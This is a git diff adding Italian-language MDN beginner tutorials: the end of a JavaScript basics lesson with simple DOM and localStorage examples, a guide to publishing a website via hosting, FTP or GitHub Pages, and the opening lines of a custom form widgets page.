+<p><strong>Nota</strong>: Entrambe le funzionalità che hai usato fanno parte della <a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model (DOM) API</a>, che ti permette di manipolare i documenti HTML.</p>
+</div>
+
+<h2 id="Basi_del_linguaggio">Basi del linguaggio</h2>
+
+<p>Parliamo di alcune delle funzionalità principali del linguaggio JavaScript, per darti un'idea migliore di come tutto funziona. Inoltre, alcune di queste funzionalità sono comuni a tutti i linguaggi di programmazione. Se riuscirai a padroneggiare queste fondamenta, sarai sulla strada giusta per programmare più o meno tutto!</p>
+
+<div class="warning">
+<p><strong>Importante</strong>: In questo articolo, prova a inserire il codice di esempio nella tua console di JavaScript per vedere cosa succede. Per maggiori dettagli sulle console di JavaScript vedi <a href="/en-US/Learn/Discover_browser_developer_tools">Scoprire i tool di sviluppo del browser</a></p>
+</div>
+
+<h3 id="Variabili">Variabili</h3>
+
+<p>{{Glossary("Variable", "Le Variabili")}} sono contenitori dove puoi immagazzinare o salvare dei valori. Puoi iniziare dichiarando una variabile con la parola chiave var, seguita da qualsiasi nome tu voglia (più o meno <a href="https://developer.mozilla.org/it/docs/Web/JavaScript/Reference/Lexical_grammar">JavaScript Keywords and Preserved Words</a>):</p>
+
+<pre class="brush: js notranslate">var myVariable; // ok
+var _myVariable; // ok
+var $myVariable; // ok
+var my_Variable; // ok
+var -myVariable; // error
+var delete; // error, preserved keyword
+myVariable; // error</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Il punto e virgola indica la fine di un'istruzione; è solo necessario quando devi separare le varie istruzioni su una singola riga, ma è anche buona pratica. Ci sono altre regole per sapere quando usarli e quando non usarli - vedi <a href="https://www.codecademy.com/blog/78">Your Guide to Semicolons in JavaScript</a> per maggiori dettagli.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Puoi chiamare una variabile più o meno con qualsiasi nome ma ci sono alcune regole o restrizioni da seguire (vedi <a href="http://www.codelifter.com/main/tips/tip_020.shtml">questo articolo</a>). Se non sei sicuro puoi <a href="https://mothereff.in/js-variables">controllarne la validità</a>.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: JavaScript è case sensitive quindi <code>myVariable</code> e <code>myvariable</code> sono due variabili diverse. Se riscontri dei problemi nel tuoi codice, controlla le lettere!</p>
+</div>
+
+<p>Dopo aver dichiarato la variabile, puoi dargli un valore:</p>
+
+<pre class="brush: js notranslate">myVariable = 'Bob';</pre>
+
+<p>Oppure puoi usare una scorciatoia e unire i passaggi:</p>
+
+<pre class="brush: js notranslate">var myVariable = 'Bob';</pre>
+
+<p>Puoi richiamare il valore della variabile chiamandola:</p>
+
+<pre class="brush: js notranslate">myVariable;</pre>
+
+<p>Dopo avergli assegnato un valore puoi anche cambiarlo:</p>
+
+<pre class="notranslate">var myVariable = 'Bob';
+myVariable = 'Steve';</pre>
+
+<p>Nota che queste variabili sono di <a href="/en-US/docs/Web/JavaScript/Data_structures">tipi diversi</a>:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Variable</th>
+   <th scope="col">Explanation</th>
+   <th scope="col">Example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">{{Glossary("String")}}</th>
+   <td>Per denotare che una variabile è una stringa, dovresti metterne il valore tra virgolette.</td>
+   <td><code>var myVariable = 'Bob';</code></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Number")}}</th>
+   <td>I numeri non hanno virgolette intorno a loro.</td>
+   <td><code>var myVariable = 10;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Boolean")}}</th>
+   <td>
+    <p>Un valore Vero/Falso. Le parole <code>true</code> e <code>false</code> sono parole chiave in JS e non hanno bisogno di virgolette.</p>
+   </td>
+   <td><code>var myVariable = true;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Array")}}</th>
+   <td>Una struttura che ti permette di immagazzinare più valori su un singolo riferimento.</td>
+   <td><code>var myVariable = [1,'Bob','Steve',10];</code><br>
+    Riferisciti a ogni membro dell'array:<br>
+    <code>myVariable[0]</code>, <code>myVariable[1]</code>, etc.</td>
+  </tr>
+  <tr>
+   <th scope="row">{{Glossary("Object")}}</th>
+   <td>Tutto in JavaScript è un oggetto e può essere salvato in una variabile. Tienilo a mente mentre impari.</td>
+   <td><code>var myVariable = document.querySelector('h1');</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Quindi perchè abbiamo bisogno delle variabili? Le variabili sono necessarie per rendere le cose interessanti nella programmazione. Se i valori non potessero cambiare non potremmo fare niente di dinamico, come personalizzare un messaggio di benvenuto o cambiare l'immagine mostrata in una galleria d'immagini.</p>
+
+<h3 id="Commenti">Commenti</h3>
+
+<p>Puoi commentare il tuo codice JavaScript come faresti con il CSS:</p>
+
+<pre class="brush: js notranslate">/*
+Qui dentro è un commento
+*/</pre>
+
+<p>Se il tuo commento non contiene più di una riga è a volte più semplice fare un commento <code>inline</code>:</p>
+
+<pre class="brush: js notranslate" style="font-size: 14px;">// Questo è un commento inline
+</pre>
+
+<h3 id="Operatori">Operatori</h3>
+
+<p>Un <code>{{Glossary("operatore")}}</code> è un simbolo matematico che produce risultati basandosi su due valori (o variabili). Nella seguente tabella puoi vedere gli operatori più semplici seguiti da alcuni esempi di JavaScript che puoi provare nella tua console.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row">Operator</th>
+   <th scope="col">Explanation</th>
+   <th scope="col">Symbol(s)</th>
+   <th scope="col">Example</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">addizione/concatenazione</th>
+   <td>Usato per fare la somma tra due numeri o incollare insieme due stringhe.</td>
+   <td><code>+</code></td>
+   <td><code>6 + 9;<br>
+    "Hello " + "world!";</code></td>
+  </tr>
+  <tr>
+   <th scope="row">sottrazione,moltiplicazione,divisione</th>
+   <td>Queste fanno ciò che ci si aspetta.</td>
+   <td><code>-</code>, <code>*</code>, <code>/</code></td>
+   <td><code>9 - 3;<br>
+    8 * 2; // per moltiplicare in JS si usa l'asterisco<br>
+    9 / 3;</code></td>
+  </tr>
+  <tr>
+   <th scope="row">operatore di assegnazione</th>
+   <td>L'hai già visto. Serve per assegnare un valore a una variabile.</td>
+   <td><code>=</code></td>
+   <td><code>var myVariable = 'Bob';</code></td>
+  </tr>
+  <tr>
+   <th scope="row">operatore di identità</th>
+   <td>Fa un test per vedere se due variabili sono uguali o meno e restituisce un valore <code>booleano</code> (<code>true</code>/<code>false</code>)</td>
+   <td><code>===</code></td>
+   <td><code>var myVariable = 3;<br>
+    myVariable === 4; // false</code></td>
+  </tr>
+  <tr>
+   <th scope="row">negazione, non uguale</th>
+   <td>Restituisce l'opposto logico.</td>
+   <td><code>!</code>, <code>!==</code></td>
+   <td>
+    <p>L'espressione di base è <code>true</code> ma restituisce <code>false</code> perchè l'abbiamo negata:</p>
+
+    <p><code>var myVariable = 3;<br>
+     !(myVariable === 3);</code></p>
+
+    <p>Qui testiamo che <code>myVariable</code> NON E' UGUALE a 3". Questo restituisce <code>false</code> perchè <code>myVariable</code> E' uguale a 3.</p>
+
+    <p><code><code>var myVariable = 3;</code><br>
+     myVariable !== 3;</code></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ci sono molti altri operatori da esplorare, per ora va bene così. Vedi <a href="/en-US/docs/Web/JavaScript/Reference/Operators">Espressioni e operatori </a>per una lista completa.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Mischiare tipi di dati diversi può portare a strani comportamenti quando andiamo a affrontare calcoli quindi stai attento a riferirti alle variabili corretamente per avere il risultato che ti aspetti. Per esempio, "35" + "25" non darà il risultato sperato, questo perchè i numeri sono stati messi tra virgolette e sono diventati stringhe. In questo caso stiamo facendo una concatenazione di stringhe, non un'addizione, quindi il risultato sarà 3525. Togliendo le virgolette il risultato sarà quello che ci aspettavamo.</p>
+</div>
+
+<h3 id="Condizionali">Condizionali</h3>
+
+<p>I Condizionali sono strutture di codice che ci permettono di testare delle espressioni che restituiscono valore vero o falso, facendo funzionare parti di codice a seconda del risultato. La forma più comune è chiamata <code>if</code> <code>...</code> <code>else</code>. Quindi per esempio:</p>
+
+<pre class="brush: js notranslate">var iceCream = 'chocolate';
+if (iceCream === 'chocolate') {
+  alert('Yay, I love chocolate ice cream!');
+} else {
+  alert('Awwww, but chocolate is my favorite...');
+}</pre>
+
+<p>L'espressione dentro il condizionale<code> if ( ... ) </code>è il test — questo usa l'operatore di identità (come descritto sopra) per comparare la variabile <code>iceCream</code> con la stringa <code>"chocolate" </code>per vedere se sono uguali. Se la comparazione restituisce true, il primo blocco di codice viene eseguito, altrimenti (<code>else</code>) si passa al secondo blocco di codice.</p>
+
+<h3 id="Funzioni">Funzioni</h3>
+
+<p>{{Glossary("Function", "Le Funzioni")}} sono un modo di impacchettare funzionalità che pensi di riutilizzare. Quando hai bisogno di una procedura puoi chiamare una funzione con il suo nome invece di riscrivere lo stesso codice ogni volta. Avrai visto alcuni esempi di usi di funzione, per esempio:</p>
+
+<ol>
+ <li>
+  <pre class="brush: js notranslate">var myVariable = document.querySelector('h1');</pre>
+ </li>
+ <li>
+  <pre class="brush: js notranslate">alert('hello!');</pre>
+ </li>
+</ol>
+
+<p>Queste funzioni, <code>documents.querySelector</code> e <code>alert</code>, sono già presenti nel browser da poter utilizzare quando vuoi.</p>
+
+<p>Se vedi quaclosa che assomiglia a una variabile ma ha delle parentesi dopo il nome — ( ) — allora probabilmente è una funzione. Le Funzioni spesso prendono degli {{Glossary("Argument", "argomenti")}} — pezzi di dati che gli servono per fare il proprio lavoro. Questi dati vanno all'interno delle parentesi, separati da virgole.</p>
+
+<p>Per esempio, la funzione <code>alert()</code> fa apparire un box dentro la finestra del browser, ma dobbiamo dargli una stringa come argomento per dire alla funzione cosa scrivere all'interno del pop-up.</p>
+
+<p>La buona notizia è che puoi definire le tue funzioni — nel prossimo esempio scriviamo una semplice funzione che prende due numeri come argomenti e li moltiplica, restituendo il risultato:</p>
+
+<pre class="brush: js notranslate">function multiply(num1,num2) {
+  var result = num1 * num2;
+  return result;
+}</pre>
+
+<p>Prova a eseguire la funzione sopra nella console con degli argomenti di test. Per esempio:</p>
+
+<pre class="brush: js notranslate">multiply(4,7);
+multiply(20,20);
+multiply(0.5,3);</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: La parola chiave <a href="/en-US/docs/Web/JavaScript/Reference/Statements/return"><code>return</code></a> dice al browser di restituire la variabile risultato per renderla utilizzabile al di fuori della funzione. Questo è necessario perchè le cose che vengono definite all'interno di una funzione sono disponibili solo alla funzione. Questo è chiamato {{Glossary("Scope", "scoping")}} (Leggi di più <a href="/en-US/docs/Web/JavaScript/Guide/Values,_variables,_and_literals#Variable_scope">variable scoping</a>.)</p>
+</div>
+
+<h3 id="Eventi">Eventi</h3>
+
+<p>La vera interattività di un sito dipende dagli eventi. Questi sono strutture di codice che ascoltano le varie cose che succedono nel browser, rispondendo con l'esecuzione di codice. Un esempio ovvio è l'<a href="/en-US/docs/Web/Events/click">evento click </a>che è inizializzato dal browser quando si preme qualcosa con il mouse. Per dimostrarlo, inserisci il seguente codice nella console e poi premi ovunque sulla pagina corrente.</p>
+
+<pre class="brush: js notranslate">document.querySelector('html').onclick = function() {
+    alert('Ouch! Stop poking me!');
+}</pre>
+
+<p>Ci sono molti modi per attaccare un evento a un elemento. Qui selezioniamo un elemento HTML, impostando la proprietà del suo gestore <a href="/en-US/docs/Web/API/GlobalEventHandlers.onclick">onclick</a>  a una funzione anonima (i.e. senza nome), che contiene il codice che vogliamo eseguire quando l'elemento viene premuto.</p>
+
+<p>Nota che</p>
+
+<pre class="brush: js notranslate">document.querySelector('html').onclick = function() {};</pre>
+
+<p>è uguale a</p>
+
+<pre class="brush: js notranslate">var myHTML = document.querySelector('html');
+myHTML.onclick = function() {};</pre>
+
+<p>E' solo più corta come soluzione.</p>
+
+<h2 id="Diamo_i_superpoteri_al_nostro_sito_web_di_esempio">Diamo i superpoteri al nostro sito web di esempio</h2>
+
+<p>Adesso che abbiamo visto un po' le basi di JavaScript, aggiungiamo alcune funzionalità interessanti al nostro sito di esempio per vedere cos'è possibile fare con JavaScript.</p>
+
+<h3 id="Aggiungere_un_cambio_immagine">Aggiungere un cambio immagine</h3>
+
+<p>In questa sezione, aggiungeremo un'ulteriore immagine al nostro sito utilizzando alcune funzionalità della DOM API, usando un po' di JavaScript per scambiare le immagini quando vengono premute.</p>
+
+<ol>
+ <li>Prima di tutto, trova un'altra immagine che vorresti usare per il tuo sito. Assicurati che sia della stessa grandezza della prima immagine o più o meno uguale (oppure, se conosci il CSS, applica alcune regole di stile).</li>
+ <li>Salva quest'immagine nella cartella <code>images</code>.</li>
+ <li>Rinomina quest'immagine a 'firefox2.png' (senza apici).</li>
+ <li>Val al tuo <code>main.js</code> file e inserisci il seguente JavaScript. (Se il tuo "hello world" è ancora lì, cancellalo.)
+  <pre class="brush: js notranslate">var myImage = document.querySelector('img');
+
+myImage.onclick = function() {
+    var mySrc = myImage.getAttribute('src');
+    if(mySrc === 'images/firefox-icon.png') {
+      myImage.setAttribute ('src','images/firefox2.png');
+    } else {
+      myImage.setAttribute ('src','images/firefox-icon.png');
+    }
+}</pre>
+ </li>
+ <li>Salva tutti i file e carica index.html nel browser. Ora quando premi sull'immagine, dovrebbe scambiarsi con la seconda!</li>
+</ol>
+
+<p>Immagazzini un riferimento al tuo elemento immagine nella variabile <code>myImage</code>. Poi definisci il gestore della proprietà <code>onclick</code> della variabile <code>myImage</code> con una funzione anonima. Ora, tutte le volte che l'elemento immagine viene premuto:</p>
+
+<ol>
+ <li>Recuperi il valore dell'attributo <code>src</code> dell'immagine.</li>
+ <li>Usi un condizionale per sapere se il valore <code>src</code> è uguale alla destinazione dell'immagine originale:
+  <ol>
+   <li>Se lo è, cambi la destinazione nell'attributo <code>src</code> con quella della seconda immagine, forzando l'altra immagine a essere caricata nell'elemento {{htmlelement("image")}}.</li>
+   <li>Se non lo è (quindi è già stata scambiata), il valore di <code>src</code> torna a essere quello della destinazione dell'immagine originale.</li>
+  </ol>
+ </li>
+</ol>
+
+<h3 id="Aggiungere_un_messaggio_di_benvenuto_personalizzato">Aggiungere un messaggio di benvenuto personalizzato</h3>
+
+<p>Aggiungiamo un altro po' di codice, cambiando il titolo della pagina in un messaggio personalizzato quando l'utente visita il sito web. Questo messaggio di benvenuto rimarrà in memoria qualora l'utente dovesse lasciare il sito per tornare in un momento successivo — lo salveremo usando la <a href="/en-US/docs/Web/API/Web_Storage_API">Web Storage API</a>. Includeremo un'opzione per cambiare l'utente e quindi il messaggio di benvenuto in qualsiasi momento risulti necessario.</p>
+
+<ol>
+ <li>In <code>index.html</code>, aggiungiamo la seguente riga prima dell'elemento {{htmlelement("script")}}:
+
+  <pre class="brush: html notranslate">&lt;button&gt;Cambia utente&lt;/button&gt;</pre>
+ </li>
+ <li>In <code>main.js</code>, inserisci il seguente codice alla fine del file, proprio come scritto —  questo prende i riferimenti di un nuovo bottone e dell'elemento <code>h1</code>, immagazzinandoli in delle variabili:
+  <pre class="brush: js notranslate">var myButton = document.querySelector('button');
+var myHeading = document.querySelector('h1');</pre>
+ </li>
+ <li>Inserisci questa funzione per personalizzare il messaggio di benvenuto — questo ancora non farà niente ma lo sistemeremo tra poco:
+  <pre class="brush: js notranslate">function setUserName() {
+  var myName = prompt('Inserisci il tuo nome.');
+  localStorage.setItem('name', myName);
+  myHeading.textContent = 'Mozilla is cool, ' + myName;
+}</pre>
+  Questa funzione utilizza la funzione <code><a href="/en-US/docs/Web/API/Window.prompt">prompt()</a></code> che fa apparire un piccolo box di dialogo, un po' come <code>alert()</code>. Questo <code>prompt() </code>però chiede all'utente di inserire dei dati, salvandoli in una variabile dopo che l'utente ha premuto <strong>OK</strong>. In questo caso chiediamo all'utente di inserire il proprio nome. Dopo chiamiamo un'API chiamata <code>localStorage</code> che ci permette di immagazzinare dati nel browser per poi recuperarli successivamente. Usiamo la funzione <code>setItem()</code> di <code>localStorage</code> per creare e immagazzinare un oggetto chiamato 'name', impostando il suo valore a quello della variabile <code>myName</code> che contiene il dato inserito dall'utente. Finalmente, impostiamo il <code>textContent</code> dell'elemento <code>h1</code> a una stringa più il valore della variabile <code>myName</code> che contiene il nome dell'utente.</li>
+ <li>Poi aggiungiamo un blocco <code>if ... else </code>— possiamo chiamare questo codice di inizializzazione per strutturare la app al suo avvio:
+  <pre class="brush: js notranslate">if(!localStorage.getItem('name')) {
+  setUserName();
+} else {
+  var storedName = localStorage.getItem('name');
+  myHeading.textContent = 'Mozilla is cool, ' + storedName;
+}</pre>
+  Questo blocco prima usa l'operatore di negazione logica, poi controlla se il dato name esiste nel <code>localStorage</code>. Se non esiste (primo blocco), fa partire la funzione <code>setUserName()</code>, altrimenti recuperiamo il nome dal <code>localStorage</code> con la funzione <code>getItem()</code> e impostiamo <code>textContent</code> dell'elemento <code>h1</code> a una stringa più il valore della stringa restituita da <code>getItem()</code>.</li>
+ <li>Inserisci il gestore dell'evento <code>onclick</code> dell'elemento <code>button</code>. Quando premuto, la funzione <code>setUserName() </code>viene eseguita. Questo permette all'utente di inserire un nuovo nome quando vogliono, premendo il bottone:
+  <pre class="brush: js notranslate">myButton.onclick = function() {
+  setUserName();
+}
+</pre>
+ </li>
+</ol>
+
+<p>Ora quando visitiamo il sito per la prima volta, ti verrà richiesto il tuo username, poi ti sarà dato un messaggio personalizzato. Puoi cambiare il tuo nome quando vuoi premendo il bottone. Come bonus aggiunto, il nome è salvato in localStorage quindi rimane in memoria anche dopo la chiusura del browser mantenendo il messaggio personalizzato quando riaprirai il sito.</p>
+
+<h2 id="Conclusione">Conclusione</h2>
+
+<p>Se hai seguito tutte le istruzioni in questo articolo, dovresti avere una pagina così (puoi vedere <a href="https://mdn.github.io/beginner-html-site-scripted/">la nostra versione qui</a>):</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9539/website-screen-scripted.png" style="display: block; height: 995px; margin: 0px auto; width: 800px;"></p>
+
+<p>Se ti blocchi, puoi comparare il tuo lavoro con <a href="https://github.com/mdn/beginner-html-site-scripted/blob/gh-pages/scripts/main.js">il nostro esempio finito su Github</a>.</p>
+
+<p>Abbiamo appena iniziato con JavaScript. Se ti è piaciuto giocare e vorresti avanzare ancora di più, vai al nostro <a href="/en-US/docs/Learn/JavaScript">JavaScript learning topic</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/CSS_basics", "Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p>
diff --git a/files/it/learn/getting_started_with_the_web/pubbicare_sito/index.html b/files/it/learn/getting_started_with_the_web/pubbicare_sito/index.html
new file mode 100644
index 0000000000..933bd4245c
--- /dev/null
+++ b/files/it/learn/getting_started_with_the_web/pubbicare_sito/index.html
@@ -0,0 +1,128 @@
+---
+title: Pubblicare il tuo sito
+slug: Learn/Getting_started_with_the_web/Pubbicare_sito
+tags:
+  - Advanced
+  - Beginner
+  - CodingScripting
+  - FTP
+  - GitHub
+  - Google App Engine
+  - Learn
+  - Web
+  - 'l10n:priority'
+  - publishing
+  - web server
+translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}</div>
+
+<div class="summary">
+<p>Una volta finito di scrivere il codice e di organizzare i file del tuo sito, dovrai caricarli online per permettere ad altri di accedervi. Questo articolo ti aiuterà a mettere online la tua creazione senza troppi sforzi.</p>
+</div>
+
+<h2 id="Quali_opzioni_ho">Quali opzioni ho?</h2>
+
+<p>Ci sono molti modi per pubblicare un sito e l'argomento è molto vasto. Lo scopo di questo articolo non è compilare una lista di tutte le opzioni possibili, ma piuttosto illustrare i pro e i contro dei tre metodi principali più indicati per i principianti e orientarti verso uno in particolare che dà risultati immediati per la maggior parte dei lettori.</p>
+
+<h3 id="Acquistare_un_hosting_e_un_dominio">Acquistare un hosting e un dominio</h3>
+
+<p>Per gestire più liberamente i contenuti e l'aspetto del proprio sito, molti scelgono di acquistare:</p>
+
+<ul>
+ <li>Un hosting, ovvero uno spazio "a noleggio" sul <a href="/en-US/Learn/What_is_a_web_server">server web</a> di una compagnia di hosting dove caricare i file del tuo sito. Il server web rende il contenuto fruibile ai visitatori del tuo sito.</li>
+ <li>Un <a href="/en-US/Learn/Understanding_domain_names">nome dominio</a>, ovvero un indirizzo univoco attraverso il quale gli utenti possono trovare il tuo sito, come <code>http://www.mozilla.org</code> o <code>http://www.bbc.co.uk</code>. Puoi noleggiare un dominio per il tempo desiderato (minimo un anno) da un <strong>registrar di dominio</strong>.</li>
+</ul>
+
+<p>Molti siti professionali adottano questa soluzione.</p>
+
+<p>Inoltre avrai bisogno di un programma {{Glossary("FTP", "File Transfer Protocol (FTP)")}} per trasferire i file dal tuo computer al server web (consulta <a href="/en-US/Learn/How_much_does_it_cost#Software">How much does it cost: software</a> per ulteriori dettagli). Ogni programma FTP funziona in modo diverso, ma in linea generale devi connetterli al tuo server web immettendo le credenziali fornite dalla tua compagnia di hosting (es. username, password, hostname). Una volta connesso, vedrai i file locali (sul tuo PC) e i file del server web in due finestre separate e potrai trasferirli da una parte all'altra:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9469/ftp.jpg" style="display: block; height: 487px; margin: 0px auto; width: 800px;"></p>
+
+<h4 id="Consigli_su_hosting_e_domini">Consigli su hosting e domini</h4>
+
+<ul>
+ <li>In questo articolo non intendiamo sponsorizzare compagnie di hosting o registrar di domini specifici. Si possono però reperire facilmente cercando "web hosting" e "domain names" sul proprio motore di ricerca preferito. Tutti i registrar permettono di verificare se il nome di dominio scelto è disponibile o se qualcun altro l'ha già registrato.</li>
+ <li>Alcuni {{Glossary("ISP", "internet service provider")}} mettono a disposizione lo spazio sufficiente per un piccolo sito web. Anche se hanno funzionalità limitate, sono l'ideale per i tuoi primi esperimenti.</li>
+ <li>Puoi utilizzare alcuni servizi gratuiti come <a href="https://neocities.org/">Neocities</a>, <a href="https://www.blogger.com">Blogger</a>, e <a href="https://wordpress.com/">WordPress</a>. Non sono certo paragonabili ai servizi a pagamento, ma offrono risorse sufficienti per condurre i primi esperimenti.</li>
+ <li>Molte compagnie offrono soluzioni di hosting e dominio in un unico pacchetto. I servizi gratuiti di solito non hanno bisogno di software FTP per caricare i file: basta trascinarli e rilasciarli nell'interfaccia web.</li>
+</ul>
+
+<h3 id="Usare_una_piattaforma_online_come_GitHub_o_Google_App_Engine">Usare una piattaforma online come GitHub o Google App Engine</h3>
+
+<p>Puoi pubblicare il tuo sito anche attraverso alcune piattaforme:</p>
+
+<ul>
+ <li><a href="https://github.com/">GitHub</a> è un sito di sviluppo di codice sorgente comunitario. Permette agli utenti di caricare il codice in cartelle apposite (repository) controllate mediante <a href="http://git-scm.com/"> Git</a>, un <strong>sistema di controllo versione</strong>. Se non diversamente specificato, il codice caricato su GitHub è open source. Ciò significa che puoi collaborare a progetti altrui e i programmatori di tutto il mondo possono trovare il tuo codice, utilizzarlo, imparare da esso o migliorarlo. GitHub ha una funzionalità molto utile chiamata <a href="https://pages.github.com/">GitHub Pages</a>, che permette di generare un sito web dal codice in tempo reale.</li>
+ <li><a href="https://cloud.google.com/appengine/">Google App Engine</a> è una piattaforma che permette di sviluppare ed eseguire applicazioni attraverso l'infrastruttura Google, sia per lo sviluppo da zero di applicazioni web multi-tier (un tipo di architettura client-server molto diffusa) che per ospitare un sito web statico. Per maggiori informazioni consulta <a href="/en-US/docs/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">How do you host your website on Google App Engine?</a></li>
+</ul>
+
+<p>A differenza della maggior parte degli hosting, questi strumenti sono gratuiti ma hanno delle funzionalità limitate.</p>
+
+<h3 id="Usare_un_IDE_online_come_CodePen">Usare un IDE online come CodePen</h3>
+
+<p>Online si possono trovare numerose applicazioni web che emulano l'ambiente di sviluppo di un sito, consentendoti di vedere in tempo reale come appare il codice HTML, CSS e JavaScript mentre lo scrivi… tutto in un'unica finestra del browser! In generale, questi strumenti sono abbastanza semplici, ottimi per imparare e per condividere codice (ad esempio se vuoi mostrare una certa procedura o chiedere ai colleghi di effettuare un debug) e gratuiti accontentandosi delle funzionalità base. La pagina generata dal tuo codice viene ospitata su un indirizzo web univoco. Le funzionalità base sono però limitate e di solito non offrono spazio per ospitare risorse (come le immagini).</p>
+
+<p>Prova alcuni tra questi servizi e scegli quello più adatto alle tue esigenze:</p>
+
+<ul>
+ <li><a href="https://jsfiddle.net/">JSFiddle</a></li>
+ <li><a href="https://glitch.com/">Glitch</a></li>
+ <li><a href="http://jsbin.com/">JS Bin</a></li>
+ <li><a href="https://codepen.io/">CodePen</a></li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9471/jsbin-screen.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></p>
+
+<h2 id="Pubblicare_con_GitHub">Pubblicare con GitHub</h2>
+
+<p>Vediamo ora i passi per pubblicare il tuo sito su GitHub Pages:</p>
+
+<ol>
+ <li>Registra un <a href="https://github.com/">account GitHub</a> e verifica il tuo indirizzo email.</li>
+ <li><a href="https://github.com/new">Crea un repository</a> per i tuoi file.</li>
+ <li>Su questa pagina, nella casella <em>Repository name</em>, inserisci <em>username</em>.github.io, dove <em>username</em> è il tuo username. Per esempio, Mario Rossi scriverà qualcosa come <em>mariorossi.github.io</em>.<br>
+  Inoltre, spunta la casella "<em>Initialize this repository with a README</em>" e fai clic su <em>Create repository</em>.<img alt="" src="https://mdn.mozillademos.org/files/9479/github-create-repo.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></li>
+ <li>Ora trascina e rilascia i contenuti del tuo sito nel repository e fai clic su <em>Commit changes</em>.
+  <div class="note">
+  <p><strong>Nota</strong>: Assicurati che la tua cartella contenga un file chiamato <code>index.html</code>.</p>
+  </div>
+ </li>
+ <li>
+  <p>Apri <em>username</em>.github.io per vedere il tuo sito online. Per esempio, per il nome utente <em>chrisdavidmills</em>, vai a <a href="http://chrisdavidmills.github.io/"><em>chrisdavidmills</em>.github.io</a>.</p>
+
+  <div class="note">
+  <p><strong>Nota</strong>: Potrebbero essere necessari alcuni minuti perché il sito vada online. Se non lo vedi immediatamente, attendi alcuni minuti e riprova.</p>
+  </div>
+ </li>
+</ol>
+
+<p>Per approfondire consulta <a href="https://help.github.com/categories/github-pages-basics/">GitHub Pages Help</a>.</p>
+
+<h2 id="Approfondimenti">Approfondimenti</h2>
+
+<ul>
+ <li><a href="/en-US/Learn/What_is_a_web_server">What is a web server</a></li>
+ <li><a href="/en-US/Learn/Understanding_domain_names">Understanding domain names</a></li>
+ <li><a href="/en-US/Learn/How_much_does_it_cost">How much does it cost to do something on the web?</a></li>
+ <li><a href="https://www.codecademy.com/learn/deploy-a-website">Deploy a Website</a>: Un tutorial di Codecademy che mostra altre idee e spiega un po' più nello specifico il processo di creazione e lancio di un sito.</li>
+ <li><a href="http://alignedleft.com/resources/cheap-web-hosting">Cheap or Free Static Website Hosting</a>, di Scott Murray, dà alcune idee utili sui servizi disponibili.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="In_questo_modulo">In questo modulo</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="/it/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installazione di software fondamentali</a></li>
+ <li id="What_will_your_website_look_like"><a href="it/docs/Learn/Getting_started_with_the_web/Che_aspetto_avrà_il_tuo_sito_web">Che aspetto avrà il tuo sito Web?</a></li>
+ <li id="Dealing_with_files"><a href="/it/docs/Learn/Getting_started_with_the_web/Gestire_i_file">Gestire i file</a></li>
+ <li id="HTML_basics"><a href="/it/docs/Learn/Getting_started_with_the_web/HTML_basics">Basi di HTML</a></li>
+ <li id="CSS_basics"><a href="/it/docs/Learn/Getting_started_with_the_web/CSS_basics">Basi di CSS</a></li>
+ <li id="JavaScript_basics"><a href="/it/docs/Learn/Getting_started_with_the_web/JavaScript_basics">Basi di JavaScript</a></li>
+ <li id="Publishing_your_website"><a href="/it/docs/Learn/Getting_started_with_the_web/Pubbicare_sito">Pubblicare il tuo sito</a></li>
+ <li id="How_the_web_works"><a href="/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">How the web works</a></li>
+</ul>
diff --git a/files/it/learn/html/forms/come_costruire_custom_form_widgets_personalizzati/index.html b/files/it/learn/html/forms/come_costruire_custom_form_widgets_personalizzati/index.html
new file mode 100644
index 0000000000..288fa8e1c2
--- /dev/null
+++ b/files/it/learn/html/forms/come_costruire_custom_form_widgets_personalizzati/index.html
@@ -0,0 +1,825 @@
+---
+title: Come costruire form widget personalizzati
+slug: Learn/HTML/Forms/Come_costruire_custom_form_widgets_personalizzati
+translation_of: Learn/Forms/How_to_build_custom_form_controls
+---
+<div>{{PreviousMenuNext("Learn/HTML/Forms/Form_validation", "Learn/HTML/Forms/Sending_forms_through_JavaScript", "Learn/HTML/Forms")}}</div>
+
